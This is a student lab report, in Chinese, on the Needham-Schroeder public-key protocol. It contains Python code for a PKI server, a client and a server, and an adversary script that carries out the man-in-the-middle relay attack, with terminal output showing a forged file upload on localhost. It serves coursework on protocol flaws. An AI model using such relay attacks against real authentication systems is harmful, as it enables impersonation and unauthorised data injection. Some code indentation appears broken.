

实验报告



课程名称 信息安全

学 院 软件学院

专 业 软件工程

姓 名 于康

学 号 20302010040

开课时间 2022 至 2023 学年第 二 学期

实验项目名称	Needham-Schroeder Protocol	成绩	
--------	----------------------------	----	--

一、实验目的

1. 理解 Needham-Schroeder 协议
2. 理解针对 Needham-Schroeder 协议的中间人攻击

二、实验内容

1. The public-key protocol

Needham-Schroeder 协议是基于可信第三方实现**密钥分发**与**身份认证**的协议，可信第三方为通信双方分发密钥，采用 Challenge/Response 的方式，使得通信双方互相认证对方的身份。

2. Attacking the Needham-Schroeder (Public Key) Protocol

这个协议很容易受到中间人攻击。如果一个冒名顶替者可以欺骗 A 与他开始一个会话，他可以将信息传递给 B，并使 B 相信他正在与 A 进行通信。在攻击结束时，B 错误地认为 A 正在与他通信。

三、实验步骤

1. 实现 PKI

此处 PKI 作为可信第三方，其作用在于为通信双方进行密钥的分发，代码逻辑是接受请求，解析出请求方通信对象，并将其公钥回复给请求方。

```
def extract():
    """() -> NoneType
    Opens the public key infrastructure server to extract RSA public keys.
    The public keys must have already been in the server's folder.
    """

    with socket(AF_INET, SOCK_STREAM) as sock:
        sock.bind((PKI_HOST, PKI_PORT))
        sock.listen()

    while True:
        conn, addr = sock.accept()
        with conn:
            print('PKI: connection from address', addr)
            # A, B --->
            # <--- {K_PB, B}{K_PA}
            # WRITE YOUR CODE HERE!
            data = conn.recv(1024)
            data = data.decode()
            sender, target = data.split(",")

            sender_public_key_file = f"{sender}.asc"
            target_public_key_file = f"{target}.asc"
```

```

        with open(sender_public_key_file, "rb") as file:
            sender_public_key = file.read()
            sender_public_key_str = sender_public_key.decode('utf-8')

        with open(target_public_key_file, "rb") as file:
            target_public_key = file.read()
            target_public_key_str = target_public_key.decode('utf-8')

        response = rsa.big_encrypt(rsa.import_key(sender_public_key),
f"{target_public_key_str},{target}")

        conn.sendall(b','.join(response))

```

2.实现 NS 公钥协议

该环节分为两个部分：client 和 server，也就是该协议中提到的通信双方 A、B。两部分的代码是相互关联的，大体过程是 A 从 PKI 得到 B 的公钥后，向 B 发送自身标识与随机数字 N_a ，B 也从 PKI 得到 A 的公钥，向 A 发送收到的 N_a 与生成的随机数 N_b ，A 检验 N_a 的正确性，再向 B 发送对称密钥与收到的 N_b ，B 检验 N_b 的正确性，之后确认连接。

```

client:
def ns_authentication(sock, server_name):
    # get RSA key of Client
    with open("RsaKey.asc", "rb") as file:
        private_key = file.read()

    pks_address = (PKI_HOST, PKI_PORT)
    server_public_key = ns.get_public_key(pks_address, host_name, NAME,
rsa.import_key(private_key))

    # A -- {N_A, A}(K_PB) --> B
    n_a = ns.generate_nonce()
    # print(server_public_key)
    request = rsa.big_encrypt(rsa.import_key(server_public_key),
f"{n_a},{NAME}")
    # print(request)
    sock.sendall(b','.join(request))

    # A <-- {N_A, N_B}(K_PA) -- B
    response = sock.recv(1024)
    response = rsa.big_decrypt(rsa.import_key(private_key),
response.split(b','))
    n_a_received, n_b_received = response.split(",")
    if n_a != int(n_a_received):
        raise SystemExit(f"n_a != n_a_received")

    # A -- {K, N_B}(K_PB) --> B
    aes_key = aes.generate_key()
    request2 = rsa.big_encrypt(rsa.import_key(server_public_key),

```

```

f"{aes_key.decode()}, {n_b_received}")
    sock.sendall(b','.join(request2))

    # get confirmation
    if int(sock.recv(1024)) != RESP_VERIFIED:
        raise SystemExit(f"no RESP_VERIFIED")

    print("Client: connection verified!")
    return aes_key

server:
def ns_authentication(conn):
    # get RSA key of Server for decrypting
    with open("RsaKey.asc", "rb") as file:
        private_key = file.read()

    #  $A \leftarrow \{N_A, A\}(K_{PB}) \rightarrow B$ 
    response = conn.recv(1024)
    # print(response)
    response = rsa.big_decrypt(rsa.import_key(private_key),
response.split(b','))
    # print(response)
    n_a_received, client = response.split(",")

    # get client's public key
    pks_address = (PKI_HOST, PKI_PORT)
    client_public_key = ns.get_public_key(pks_address, client, NAME,
rsa.import_key(private_key))

    #  $A \leftarrow \{N_A, N_B\}(K_{PA}) \rightarrow B$ 
    n_b = ns.generate_nonce()
    request = rsa.big_encrypt(rsa.import_key(client_public_key),
f"{n_a_received}, {n_b}")
    conn.sendall(b','.join(request))

    #  $A \leftarrow \{K, N_B\}(K_{PB}) \rightarrow B$ 
    response2 = conn.recv(1024)
    response2 = rsa.big_decrypt(rsa.import_key(private_key),
response2.split(b','))
    aes_key, n_b_received = response2.split(",")
    if n_b != int(n_b_received):
        raise SystemExit(f"n_b != n_b_received")

    conn.sendall(bytes(str(RESP_VERIFIED), "utf-8"))

    return aes_key.encode(), client

```

3.实现对 NS 公钥协议的中间人攻击

该部分中间人的做法主要是借助 A 实现了与 B 的连接，将 B 的发送转发给 A，将回复结果经由自

已加工转发给 B。

```
def attack(conn):
    # get RSA key of Adversary for decrypting
    with open("RsaKey.asc", "rb") as file:
        private_key = file.read()

    # A -- {N_A, A}(KP_M) --> M (server)
    response = conn.recv(1024)
    response = rsa.big_decrypt(rsa.import_key(private_key),
response.split(b','))
    n_a_received, client = response.split(",")

    # get public key of Server for encrypting
    pks_address = (PKI_HOST, PKI_PORT)
    server_public_key = ns.get_public_key(pks_address, "server", NAME,
rsa.import_key(private_key))

    # open connection with Server (client)
    address = (SERVER_HOST, SERVER_PORT)
    aes_key = None
    with socket(AF_INET, SOCK_STREAM) as sock:
        sock.connect(address)

    # M -- {N_A, A}(KP_B) --> B (client)
    request = rsa.big_encrypt(rsa.import_key(server_public_key),
f"{n_a_received},{client}")
    sock.sendall(b','.join(request))

    # M <-- {N_A, N_B}(KP_A) -- B (client)
    response2 = sock.recv(1024)

    # A <-- {N_A, N_B}(KP_A) -- M (server)
    conn.sendall(response2)

    # A -- {K, N_B}(KP_M) --> M (server)
    response3 = conn.recv(1024)
    response3 = rsa.big_decrypt(rsa.import_key(private_key),
response3.split(b','))
    aes_key, n_b_received = response3.split(",")

    # M -- {K, N_B}(KP_B) --> B (client)
    request2 = rsa.big_encrypt(rsa.import_key(server_public_key),
f"{aes_key},{n_b_received}")
    sock.sendall(b','.join(request2))

    # check if MITM attack was successful
    if int(sock.recv(1024)) == RESP_VERIFIED:
        print("Adversary: I got in!")
```

```

upload_bad_file(sock, aes_key.encode())
return aes_key.encode(), client
else:
    print("Adversary: wtf...")
    print("Adversary: attack completed")

```

四、实验结果及分析

正常情况下:

```

adversary.py
72 if int(sock.recv(1024)) == RESP_VERIFIED:
73     print("Adversary: I got in!")
74     upload_bad_file(sock, aes_key.encode())
75     return aes_key.encode(), client
76 else:
77     print("Adversary: wtf...")
78     print("Adversary: attack completed")
79
80
81 def serve_client_after_attack(conn, ssn_key, client_name):
82     """(socket, bytes, str) -> NoneType
83
84     Service the client after the attack to appear normal.
85
86     :conn: connection to client
87     :ssn_key: session key for symmetric encryption
88     :client_name: name of client
89     """
90     # verify and serve the victim
91     conn.sendall(bytes(str(RESP_VERIFIED), "utf-8"))

```

```

root@DESKTOP-H59KVSD:/data/ns/client# python3 client.py -s server -u my_file.txt
Client: connection verified!
Client: using session key b'7b0b2b25mlylEI9y'
Client: sent file name my_file.txt for mode u
Client: my_file.txt is read and ready for upload
Client: beginning file upload...
Client: uploading file... (1/3)
Client: uploading file... (2/3)
Client: uploading file... (3/3)
Client: successful upload for my_file.txt
Client: client shutting down...
root@DESKTOP-H59KVSD:/data/ns/client#

```

```

root@DESKTOP-H59KVSD:/data/ns/server# python3 server.py
Server: storage server
Server: beginning to serve clients...
Server: connection from client with address ('127.0.0.1', 44394)
Server: using session key b'7b0b2b25mlylEI9y' from client client
Server: received request of file my_file.txt for mode u
Server: beginning transfer for my_file.txt...
Server: completed transfer for my_file.txt
Server: file saved in client/my_file.txt
Server: transfer complete, shutting down...
root@DESKTOP-H59KVSD:/data/ns/server#

```

```

root@DESKTOP-H59KVSD:/data/ns/pki# python3 pki.py
PKI: I am the Public Key Infrastructure Server!
PKI: listening for a key to be extracted
PKI: connection from address ('127.0.0.1', 48372)
PKI: connection from address ('127.0.0.1', 48374)

```

```

root@DESKTOP-H59KVSD:/data/ns/adversary# python3 adversary.py

```

中间人攻击:

```

adversary.py
72 if int(sock.recv(1024)) == RESP_VERIFIED:
73     print("Adversary: I got in!")
74     upload_bad_file(sock, aes_key.encode())
75     return aes_key.encode(), client
76 else:
77     print("Adversary: wtf...")
78     print("Adversary: attack completed")
79
80
81 def serve_client_after_attack(conn, ssn_key, client_name):
82     """(socket, bytes, str) -> NoneType
83
84     Service the client after the attack to appear normal.
85
86     :conn: connection to client
87     :ssn_key: session key for symmetric encryption
88     :client_name: name of client
89     """
90     # verify and serve the victim
91     conn.sendall(bytes(str(RESP_VERIFIED), "utf-8"))

```

```

root@DESKTOP-H59KVSD:/data/ns/client# python3 client.py -s server -u my_file.txt
Client: connection verified!
Client: using session key b'Kna18n24AFQcshAA'
Client: sent file name my_file.txt for mode u
Client: my_file.txt is read and ready for upload
Client: beginning file upload...
Client: uploading file... (1/3)
Client: uploading file... (2/3)
Client: uploading file... (3/3)
Client: successful upload for my_file.txt
Client: client shutting down...
root@DESKTOP-H59KVSD:/data/ns/client#

```

```

root@DESKTOP-H59KVSD:/data/ns/server# python3 server.py
Server: storage server
Server: beginning to serve clients...
Server: connection from client with address ('127.0.0.1', 44388)
Server: using session key b'Kna18n24AFQcshAA' from client client
Server: received request of file bad_file.txt for mode u
Server: beginning transfer for bad_file.txt...
Server: completed transfer for bad_file.txt
Server: file saved in client/bad_file.txt
Server: transfer complete, shutting down...
root@DESKTOP-H59KVSD:/data/ns/server#

```

```

root@DESKTOP-H59KVSD:/data/ns/pki# python3 pki.py
PKI: I am the Public Key Infrastructure Server!
PKI: listening for a key to be extracted
PKI: connection from address ('127.0.0.1', 48380)
PKI: connection from address ('127.0.0.1', 48382)
PKI: connection from address ('127.0.0.1', 48386)

```

```

root@DESKTOP-H59KVSD:/data/ns/adversary# python3 adversary.py
Adversary: connection from client with address ('127.0.0.1', 33928)
Adversary: I got in!
Adversary: bad_file.txt is read and ready for upload
Adversary: uploaded file name bad_file.txt
Adversary: beginning file upload...
Adversary: uploading file... (1/2)
Adversary: uploading file... (2/2)
Adversary: successful upload for bad_file.txt
Adversary: received request of file my_file.txt for mode u
Adversary: beginning transfer for my_file.txt
Adversary: completed transfer for my_file.txt
Adversary: file saved in client/my_file.txt
Adversary: shutting down server...
root@DESKTOP-H59KVSD:/data/ns/adversary#

```

五、实验总结

该实验实现了 Needham-Schroeder 协议，这是一个基于可信第三方的协议；同时，根据该协议的特点，实践了针对该协议的中间人攻击。